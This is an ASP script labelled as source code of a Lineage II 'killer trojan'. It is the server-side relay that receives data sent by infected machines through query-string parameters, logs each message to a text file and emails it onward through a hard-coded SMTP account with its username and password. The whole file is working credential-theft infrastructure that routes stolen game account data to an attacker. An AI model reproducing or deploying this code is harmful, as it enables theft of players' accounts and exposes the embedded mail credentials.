sendmail.asp

LineageII藏经阁天堂2杀手木马源代码

<%
function SendMail(ToAddress,subject,msg)
Dim Jmail
sender="[e-mail]"  '发送邮箱,需要根据实际修改
Set Jmail=server.createobject("Jmail.Message")
Jmail.Charset = "GB2312"  '发送编码
jmail.ContentType = "text/html" 
jmail.ISOEncodeHeaders ="False"
Jmail.Silent = true
Jmail.Priority = 3
Jmail.MailServerUserName = "wftpke7b"  '邮箱用户名,需要根据实际修改
Jmail.MailServerPassword = "1fkbm10021"  '邮箱密码,需要根据实际修改
Jmail.From = sender
Jmail.Subject = subject              
Jmail.AddRecipient  ToAddress
Jmail.Body=msg
Jmail.Send("mail.game92.com")  'SMTP服务器,需要根据实际修改
response.write "发送成功！"
Set Jmail=nothing
end function


MailBody=trim(Request.querystring("MailBody"))
ToAddress=trim(Request.querystring("Tomail"))
subject=trim(Request.querystring("subject"))
sender=trim(Request.querystring("sender"))

if instr(1,MailBody,"*",1)=0 and instr(1,Mailbody,"*",1)=0 and instr(1,Mailbody,"#",1)=0 then mailbody=trim(Request.querystring("MailBody"))

set f=Server.CreateObject("scripting.filesystemobject")
set ff=f.opentextfile(server.mappath(".")&"\wowo.txt",8,true,0)
ff.writeline("收信人:"&ToAddress&"时间:"&date&" "&time&chr(13)+chr(10))
ff.writeline("信件内容:"&chr(13)&chr(10)&MailBody)
ff.close

mailbody=Mailbody&"发信时间:"&date&" "&time&chr(13)+chr(10)&"发信人ip地址:"&request.servervariables("REMOTE_HOST")&chr(10)+chr(10)+chr(10)&"感谢"
Call SendMail (ToAddress,Subject,MailBody)
%>